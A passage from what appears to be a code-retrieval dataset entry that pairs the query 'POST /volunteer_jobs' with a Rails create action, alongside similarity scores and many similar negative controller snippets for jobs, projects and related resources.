"def create\n @job = Job.new(params[:job])\n @job.status = 'listed'\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@job = Job.new(params[:job])\n\n\t\trespond_to do |format|\n\t\t\tif @job.save\n\t\t\t\tformat.html { redirect_to @job, notice: 'Job was successfully created.' }\n\t\t\t\tformat.json { render json: @job, status: :created, location: @job }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @job.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def new\n @project = current_user.projects.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @job_property_value = JobPropertyValue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_property_value }\n end\n end",
"def new_link\n @project = Project.new(user_id: current_user.id)\n fetch_projects\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @job_status = JobStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_status }\n end\n end",
"def create\n @job = current_user.posted_jobs.build(job_params)\n if @job.save\n render json: @job\n else\n render json: @job.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def new\n @job_application = JobApplication.new\n @users = User.find :all\n @job_postings = JobPosting.find :all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def create\n @create_job = CreateJob.new(create_job_params)\n\n respond_to do |format|\n if @create_job.save\n format.html { redirect_to @create_job, notice: 'Create job was successfully created.' }\n format.json { render :show, status: :created, location: @create_job }\n else\n format.html { render :new }\n format.json { render json: @create_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @work = Work.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end",
"def create\n @job = current_member.jobs.new(job_params)\n @job.published_at = DateTime.now\n\n\n respond_to do |format|\n if @job.save\n\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end",
"def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end",
"def new\n @joborder = Joborder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @joborder }\n end\n end",
"def create\n @job = Job.new(params[:job])\n\t\t@job.person = current_user\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job Proposal successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new_job\n j = self.class.new\n j.save\n end",
"def new\n @work = Work.new\n\n respond_to do |format|\n format.json { render json: @work }\n end\n end",
"def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end",
"def new\n @user = User.find(params[:user_id])\n @job = @user.jobs.new\n @job.paper_price = current_paper_price\n @job.ink_price = current_ink_price\n @job.quantity = 1\n\n @page_title = \"New print job for \" + @user.full_name \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @project = Project.new :company_id => params[:company_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @projects_person = ProjectsPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projects_person }\n end\n end",
"def create\n @job_post = JobPost.new(job_post_params)\n\n if @job_post.save\n render :show, status: :created, location: @job_post\n else\n render json: @job_post.errors, status: :unprocessable_entity\n end\n end",
"def new\n @project = Project.new(user_id: current_user.id)\n find_people_list\n fetch_clients\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def create\n @emp_job = EmpJob.new(params[:emp_job])\n\n respond_to do |format|\n if @emp_job.save\n format.html { redirect_to @emp_job, notice: 'Emp job was successfully created.' }\n format.json { render json: @emp_job, status: :created, location: @emp_job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @emp_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @assigned_project = AssignedProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assigned_project }\n end\n end",
"def new\n @work_plan = WorkPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work_plan }\n end\n end",
"def new\n @objective = Objective.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @objective }\n end\n end",
"def new\n @template_task = TemplateTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template_task }\n end\n end"
] |
[
"0.7913525",
"0.7913525",
"0.7703204",
"0.7570831",
"0.7570831",
"0.7570831",
"0.7570831",
"0.7556856",
"0.72684777",
"0.7255133",
"0.7225403",
"0.71859294",
"0.7168041",
"0.71634156",
"0.7136533",
"0.7133316",
"0.7110318",
"0.70895237",
"0.7084016",
"0.7082202",
"0.70697623",
"0.70380825",
"0.7003199",
"0.69764006",
"0.69711196",
"0.6970309",
"0.6940249",
"0.6864656",
"0.68600696",
"0.684129",
"0.6836792",
"0.68291426",
"0.6825218",
"0.682216",
"0.68021727",
"0.6772064",
"0.6765822",
"0.67529225",
"0.674741",
"0.6736944",
"0.67318654",
"0.6726048",
"0.6719933",
"0.67009044",
"0.6698808",
"0.66865623",
"0.66817635",
"0.6675777",
"0.6674581",
"0.66727304",
"0.6654513",
"0.6654513",
"0.6654513",
"0.6654513",
"0.6654513",
"0.6654513",
"0.6654513",
"0.6654513",
"0.6654513",
"0.66543114",
"0.6653303",
"0.665143",
"0.6651074",
"0.6645181",
"0.6643471",
"0.6631489",
"0.66155165",
"0.66155165",
"0.66155165",
"0.66082734",
"0.6607856",
"0.66048986",
"0.6601906",
"0.6595416",
"0.65920043",
"0.6589823",
"0.65813977",
"0.6579403",
"0.65569556",
"0.6550879",
"0.65430105",
"0.65420395",
"0.6537153",
"0.6536834",
"0.6536834",
"0.65355915",
"0.6527619",
"0.6518729",
"0.6510029",
"0.65024644",
"0.64872175",
"0.6479169",
"0.6478338",
"0.64760673",
"0.64686495",
"0.64670616",
"0.64635175",
"0.64631265",
"0.6458558",
"0.6456381"
] |
0.815024
|
0
|
POST /volunteer_jobs POST /volunteer_jobs.json
|
def create
@volunteer_job = VolunteerJob.new(params[:volunteer_job])
respond_to do |format|
if @volunteer_job.save
format.html { redirect_to @volunteer_job, notice: 'Volunteer job was successfully created.' }
format.json { render json: @volunteer_job, status: :created, location: @volunteer_job }
else
format.html { render action: "new" }
format.json { render json: @volunteer_job.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @job = Job.new(job_params)\n @job.user = current_user\n if @job.save\n render json: { redirect_url: job_url(@job), notice: \"Thanks for posting! Your job is now pending review.\" }\n else\n render json: @job.errors\n end\n end",
"def create\n @job = current_user.posted_jobs.build(job_params)\n if @job.save\n render json: @job\n else\n render json: @job.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def new\n @volunteer_job = VolunteerJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @volunteer_job }\n end\n end",
"def index\n @volunteer_jobs = VolunteerJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @volunteer_jobs }\n end\n end",
"def create\n @launched_job = LaunchedJob.new(launched_job_params)\n\n respond_to do |format|\n if @launched_job.save\n format.html { redirect_to @launched_job, notice: 'Launched job was successfully created.' }\n format.json { render json: @launched_job, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @launched_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_member.jobs.new(job_params)\n @job.published_at = DateTime.now\n\n\n respond_to do |format|\n if @job.save\n\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = @user.jobs.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job_post = JobPost.new(job_post_params)\n\n if @job_post.save\n render :show, status: :created, location: @job_post\n else\n render json: @job_post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @job = @user.jobs.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: \"Job was successfully created.\" }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @nanny_job = NannyJob.new(nanny_job_params)\n @nanny_job = current_user.nanny_jobs.build(nanny_job_params)\n\n respond_to do |format|\n if @nanny_job.save\n format.html { redirect_to @nanny_job, notice: 'Nanny job was successfully created.' }\n format.json { render :show, status: :created, location: @nanny_job }\n else\n format.html { render :new }\n format.json { render json: @nanny_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job_hunting = JobHunting.new(job_hunting_params)\n\n respond_to do |format|\n if @job_hunting.save\n format.html { redirect_to @job_hunting, notice: 'Job hunting was successfully created.' }\n format.json { render :show, status: :created, location: @job_hunting }\n else\n format.html { render :new }\n format.json { render json: @job_hunting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@job = Job.new(params[:job])\n @job = current_user.jobs.new(params[:job])\n \n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = @employer.jobs.build(job_params)\n respond_to do |format|\n if @job.save\n format.html { redirect_to edit_employer_path(@employer,anchor: \"jobs_tab\"), notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n @job.status = 'listed'\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @postjob = Postjob.new(postjob_params)\n\n respond_to do |format|\n if @postjob.save\n format.html { redirect_to @postjob, notice: 'Postjob was successfully created.' }\n format.json { render :show, status: :created, location: @postjob }\n else\n format.html { render :new }\n format.json { render json: @postjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Vger::Resources::Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to company_job(:company_id => params[:company_id], :id => @job.id), notice: 'Job was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def create\n @volunteer_task = VolunteerTask.new(params[:volunteer_task])\n\n respond_to do |format|\n if @volunteer_task.save\n format.html { redirect_to @volunteer_task, notice: 'Volunteer task was successfully created.' }\n format.json { render json: @volunteer_task, status: :created, location: @volunteer_task }\n else\n format.html { render action: \"new\" }\n format.json { render json: @volunteer_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n @job.creator = current_user\n @job.tasks.each do |task|\n if @job.job_type.present?\n task.type = \"#{@job.job_type.to_s.singularize.capitalize}Task\"\n end\n task.creator = current_user\n task.worker ||= current_user\n task.payoff_amount_cents ||= 0\n end\n respond_to do |format|\n if @job.save\n @job.tasks.each{ |task| task.set_price }\n format.html {\n if params[:commit].to_s.match(/save.*new/i)\n redirect_to new_job_path(client_id: @job.client_id, job_type: @job.job_type), notice: 'Job was successfully created. Create another one below...' \n else\n redirect_to @job, notice: 'Job was successfully created.'\n end\n }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_user.jobs.new(job_params)\n respond_to do |format|\n if @job.save\n \ttrack_activity @job\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_company.jobs.build(params[:job])\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Vaga criada com sucesso' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to mentor_job_path(@job), notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @applicant_job = ApplicantJob.new(applicant_job_params)\n\n respond_to do |format|\n if @applicant_job.save\n format.html { redirect_to @applicant_job, notice: 'Applicant job was successfully created.' }\n format.json { render :show, status: :created, location: @applicant_job }\n else\n format.html { render :new }\n format.json { render json: @applicant_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n job = Job.create(job_params)\n render json: job\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def create\n @job = Job.new(params[:job])\n\t\t@job.person = current_user\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job Proposal successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @myjob = Myjob.new(myjob_params)\n\n respond_to do |format|\n if @myjob.save\n format.html { redirect_to @myjob, notice: 'Myjob was successfully created.' }\n format.json { render :show, status: :created, location: @myjob }\n else\n format.html { render :new }\n format.json { render json: @myjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params.merge({\n owner_id: current_user_id,\n owner_name: current_user_name,\n user_id: current_user_db_record.id,\n remote: job_params[:remote]\n }))\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_user.jobs.new( job_params )\n\n if @job.save\n redirect_to @job, notice: 'Job created.'\n else\n render :new\n end\n end",
"def destroy\n @volunteer_job = VolunteerJob.find(params[:id])\n @volunteer_job.destroy\n\n respond_to do |format|\n format.html { redirect_to volunteer_jobs_url }\n format.json { head :ok }\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n @job.user_id = current_user.id\n @job.organization_id = current_user.organization_id\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pending_job = PendingJob.new(pending_job_params)\n current_stage = 'E'\n @pending_job.time_queued = Time.now\n @pending_job.current_stage = current_stage\n @pending_job.current_stage_started = Time.now\n\n respond_to do |format|\n if @pending_job.save\n EFinishJob.perform_in(1.minutes, @pending_job.id, @pending_job.course, @pending_job.assignment, @pending_job.username)\n format.html { redirect_to @pending_job, notice: 'Pending job was successfully created.' }\n format.json { render :show, status: :created, location: @pending_job }\n else\n format.html { render :new }\n format.json { render json: @pending_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_user.jobs.build(params[:job])\n if @job.save\n flash[:success] = \"Job Added!\"\n redirect_to root_url\n else\n render 'new'\n end\n\n end",
"def create\n @jobtype = Jobtype.new(params[:jobtype])\n \n if @jobtype.save\n render_json \"success\"\n else\n render_error \"failure\"\n end\n end",
"def new\n @jobs = Job.new(params[:accepted_jobs])\n\n @jobs.user_id = current_user.id\n\n pp @jobs\n\n # respond_to do |format|\n # if @jobs.save\n # format.html { redirect_to home_path, notice: 'Request was successfully created.' }\n # format.json { render json: @jobs, status: :created, location: home_path }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @jobs.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n @applied_job = AppliedJob.new(job_id: params[:job_id], user_id: current_user.id)\n\n respond_to do |format|\n if @applied_job.save\n format.html { redirect_to applied_jobs_path, notice: 'Applied job was successfully created.' }\n format.json { render :show, status: :created, location: @applied_job }\n else\n format.html { render :new }\n format.json { render json: @applied_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @emp_job = EmpJob.new(params[:emp_job])\n\n respond_to do |format|\n if @emp_job.save\n format.html { redirect_to @emp_job, notice: 'Emp job was successfully created.' }\n format.json { render json: @emp_job, status: :created, location: @emp_job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @emp_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @customer_job = CustomerJob.new( customer_job_params )\n\n respond_to do |format|\n if @customer_job.save\n format.html { redirect_to customer_jobs_url, notice: 'Customer job was successfully created.' }\n format.json { render :show, status: :created, location: @customer_job }\n else\n format.html { render :new }\n format.json { render json: @customer_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n if params[:job][:staff].present?\n params[:job][:staff].each do |s|\n @job.staff << Staff.where(id: s)\n end\n end\n if params[:job][:contractor].present?\n @job.contractor = Contractor.find(params[:job][:contractor])\n end\n if params[:job][:date_completed].present? and params[:job][:date_payment_recv].present? and params[:job][:date_completed] <= Time.now and params[:job][:date_payment_recv] <= Time.now\n @job.status = 0\n end\n puts @job.inspect\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @worker_job = WorkerJob.new(worker_job_params)\n\n respond_to do |format|\n if @worker_job.save\n format.html { redirect_to @worker_job, notice: 'Worker job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @worker_job }\n else\n format.html { render action: 'new' }\n format.json { render json: @worker_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company_job_opportunity = @company.job_opportunities.build(company_job_opportunity_params)\n\n respond_to do |format|\n if @company_job_opportunity.save\n flash[:notice] = 'Job opportunity was successfully created.'\n format.html { redirect_to home_company_path(@company) }\n format.json { render :show, status: :created, location: @company_job_opportunity }\n else\n format.html { render :new }\n format.json { render json: @company_job_opportunity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job.user_id = current_user.id\n respond_to do |format|\n if @job.save\n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n format.json { render :json => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n format.json { render :json => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n arg = params[:email]\n counter = Job.enqueue(arg)\n render :status => :accepted, :json => { jobId: counter }\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n JobsWorker.perform_async(@job.id, @job.server.id)\n flash[:success] = 'Job was successfully created.'\n format.html { redirect_to jobs_path }\n format.json { render :show, status: :created, location: @job }\n else\n flash[:error] = 'Please fill all fields correctly !!'\n format.html { redirect_to root_url }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_job(job, username, password)\n puts \"Requesting quote for job:\"\n puts JSON.pretty_generate(job)\n puts \"\"\n res = post_json('jobs.json', job, username, password)\n if res['error'] || res['status'] == 'error'\n puts \"Job rejected (error #{res['status']}): #{res['error'] || res['reason']}\"\n return\n end\n\n puts \"Gnip's job desc:\"\n puts summarise_job(res)\nend",
"def create\n @lessons = Lesson.all\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n @booking = @job.create_booking(params[:job][:lesson_id])\n format.html { redirect_to new_payment_url(booking_id: @booking) }\n format.json { render :show, status: :created, location: @job }\n else\n flash[:error] = @job.errors.full_messages.to_sentence\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n total_volunteers = Volunteer.where(request_id: params[:request_id])\n # mark the request as fulfilled on the 5th volunteer\n if total_volunteers.length() == 4\n #update request\n the_request = Request.find_by_id(params[:request_id])\n the_request.status = 1\n if the_request.save\n # add vol\n volunteer = Volunteer.new({request_id: params[:request_id], requester_id: params[:requester_id], user_id: @current_user.id})\n if volunteer.save\n render json: {\n status: 'success',\n message: 'Your volunteering was successful',\n data: volunteer,\n },\n status: :created\n else\n render json: {\n status: 'error',\n message: 'Volunteering not saved',\n data: volunteer.errors\n },\n status: :unprocessable_entity\n end\n else\n render json: {\n status: 'error',\n message: 'Volunteering not saved',\n data: volunteer.errors\n },\n status: :unprocessable_entity\n end\n\n else\n # add vol only\n # if no duplicate then create the volunteer\n volunteer = Volunteer.new({request_id: params[:request_id], requester_id: params[:requester_id], user_id: @current_user.id})\n if volunteer.save\n render json: {\n status: 'success',\n message: 'Your volunteering was successful',\n data: volunteer,\n },\n status: :created\n else\n render json: {\n status: 'error',\n message: 'Volunteering not saved',\n data: volunteer.errors\n },\n status: :unprocessable_entity\n end\n end\n end",
"def create\n @job_progress = JobProgress.new(job_progress_params)\n\n respond_to do |format|\n if @job_progress.save\n format.html { redirect_to @job_progress, notice: 'Job progress was successfully created.' }\n format.json { render :show, status: :created, location: @job_progress }\n else\n format.html { render :new }\n format.json { render json: @job_progress.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_jobfamily\n @jobfamily = @company.jobfamilies.create(name: params[:jobfamily][:name])\n respond_to do |format|\n format.json { render json: @jobfamily }\n end\n end",
"def create\n @jobposting = Jobposting.new(jobposting_params)\n\n respond_to do |format|\n if @jobposting.save\n format.html { redirect_to @jobposting, notice: 'Jobposting was successfully created.' }\n format.json { render :show, status: :created, location: @jobposting }\n else\n format.html { render :new }\n format.json { render json: @jobposting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @create_job = CreateJob.new(create_job_params)\n\n respond_to do |format|\n if @create_job.save\n format.html { redirect_to @create_job, notice: 'Create job was successfully created.' }\n format.json { render :show, status: :created, location: @create_job }\n else\n format.html { render :new }\n format.json { render json: @create_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user.saved_jobs.where(job_id: params[:saved_job][:job_id]).count > 0\n respond_to do |format|\n format.html { redirect_to worker_all_jobs_path, notice: t('saved_jobs_controller.saved_jobs_create_error') }\n end\n else\n @saved_job = current_user.saved_jobs.new(saved_job_params)\n\n respond_to do |format|\n if @saved_job.save\n format.html { redirect_to worker_all_jobs_path, notice: t('saved_jobs_controller.saved_jobs_create_success') }\n format.json { render :show, status: :created, location: @saved_job }\n\n else\n format.html { render :new }\n format.json { render json: @saved_job.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n \n respond_to do |format|\n if @job.save\n format.html { redirect_to '/admin/'+@job.company.id.to_s , notice: \"Job was successfully created.\" }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n printer_ids = JSON.parse(job_params[:printer])\n\n printers = Printer.where(id: printer_ids)\n\n job_params_fixed = job_params\n\n job_params_fixed[:printer] = nil\n\n\n printers.each do |printer|\n\n @job = Job.new(job_params_fixed)\n\n @job.printer = printer\n\n @job.status = \"Unassigned\"\n @job.save\n end\n\n redirect_to root_path\n\n # respond_to do |format|\n # if @job.save\n # format.html { redirect_to @job, notice: 'Job was successfully created.' }\n # format.json { render :show, status: :created, location: @job }\n # else\n # format.html { render :new }\n # format.json { render json: @job.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n @job_tag = JobTag.new(job_tag_params)\n\n respond_to do |format|\n if @job_tag.save\n format.html { redirect_to @job_tag, notice: 'Job tag was successfully created.' }\n format.json { render :show, status: :created, location: @job_tag }\n else\n format.html { render :new }\n format.json { render json: @job_tag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def job_params\n params.require(:job).permit(:parcel_number,\n :client_id, :address, :city, :state_id, :zipcode, :county_id, :old_owner, :new_owner, :requestor_id,\n :file_number, :close_on, :beneficiary_name, :payoff_amount, :beneficiary_account, :underwriter_name,\n :short_sale, :file_type, :job_type, :parcel_legal_description, :deed_of_trust_number, :developer,\n tasks_attributes: [\n :id,\n :product_id,\n :_destroy,\n :deed_of_trust_number,\n :lender_id,\n :beneficiary_name,\n :beneficiary_account,\n :payoff_amount,\n :developer,\n :price,\n :parcel_number,\n :parcel_legal_description,\n :new_deed_of_trust_number,\n :recorded_on,\n :docs_delivered_on,\n lender_attributes: [ :name ]\n ]\n )\n end",
"def create_job(json_payload)\n conn = @client.post do |req|\n req.url '/api/v2/job/create'\n req.headers[\"Authorization\"] = @token\n req.body = json_payload\n end\n conn.body\n end",
"def create\n @job_posting = JobPosting.new(job_posting_params)\n @job_posting.company = @company\n @job_posting.publication_status = 'PUBLISHED'\n\n respond_to do |format|\n if @job_posting.save\n format.html { redirect_to @job_posting, notice: 'Job posting was successfully created.' }\n format.json { render :show, status: :created, location: @job_posting }\n else\n format.html { render :new }\n format.json { render json: @job_posting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @act_job = ActJob.new(act_job_params)\n\n respond_to do |format|\n if @act_job.save\n format.html { redirect_to @act_job, notice: 'Act job was successfully created.' }\n format.json { render :show, status: :created, location: @act_job }\n else\n format.html { render :new }\n format.json { render json: @act_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\tjob = Job.new\n\t\tjob.user_id = current_user.id\n\t\tjob.http_method \t= params[:http_method]\n\t\tjob.http_uri \t\t= params[:http_uri]\n\t\tjob.http_host \t\t= params[:http_host]\n\t\tjob.http_headers\t= params[:http_headers]\n\t\tjob.http_data\t\t= params[:http_data]\n\n\t\t# Set job type to bruteforce by default. This will change, but\n\t\t# for now we don't care about responses.\n\t\tjob.attack_type\t\t\t= \"repeat\"\n\n\t\t# Set status to pending by default -- this may change in future\n\t\tjob.status \t\t\t= \"pending\"\n\n\t\tjob.save\n\n\t\trender :json => job.to_json\n\tend",
"def create\n @medium_specie_job_inv = MediumSpecieJobInv.new(params[:medium_specie_job_inv])\n\n respond_to do |format|\n if @medium_specie_job_inv.save\n format.html { redirect_to @medium_specie_job_inv, notice: 'Medium specie job inv was successfully created.' }\n format.json { render json: @medium_specie_job_inv, status: :created, location: @medium_specie_job_inv }\n else\n format.html { render action: \"new\" }\n format.json { render json: @medium_specie_job_inv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job_posting = JobPosting.new(job_posting_params)\n\n respond_to do |format|\n if @job_posting.save\n format.html { redirect_to @job_posting, notice: 'Job posting was successfully created.' }\n format.json { render :show, status: :created, location: @job_posting }\n else\n format.html { render :new }\n format.json { render json: @job_posting.errors, status: :unprocessable_entity }\n end\n end\n end",
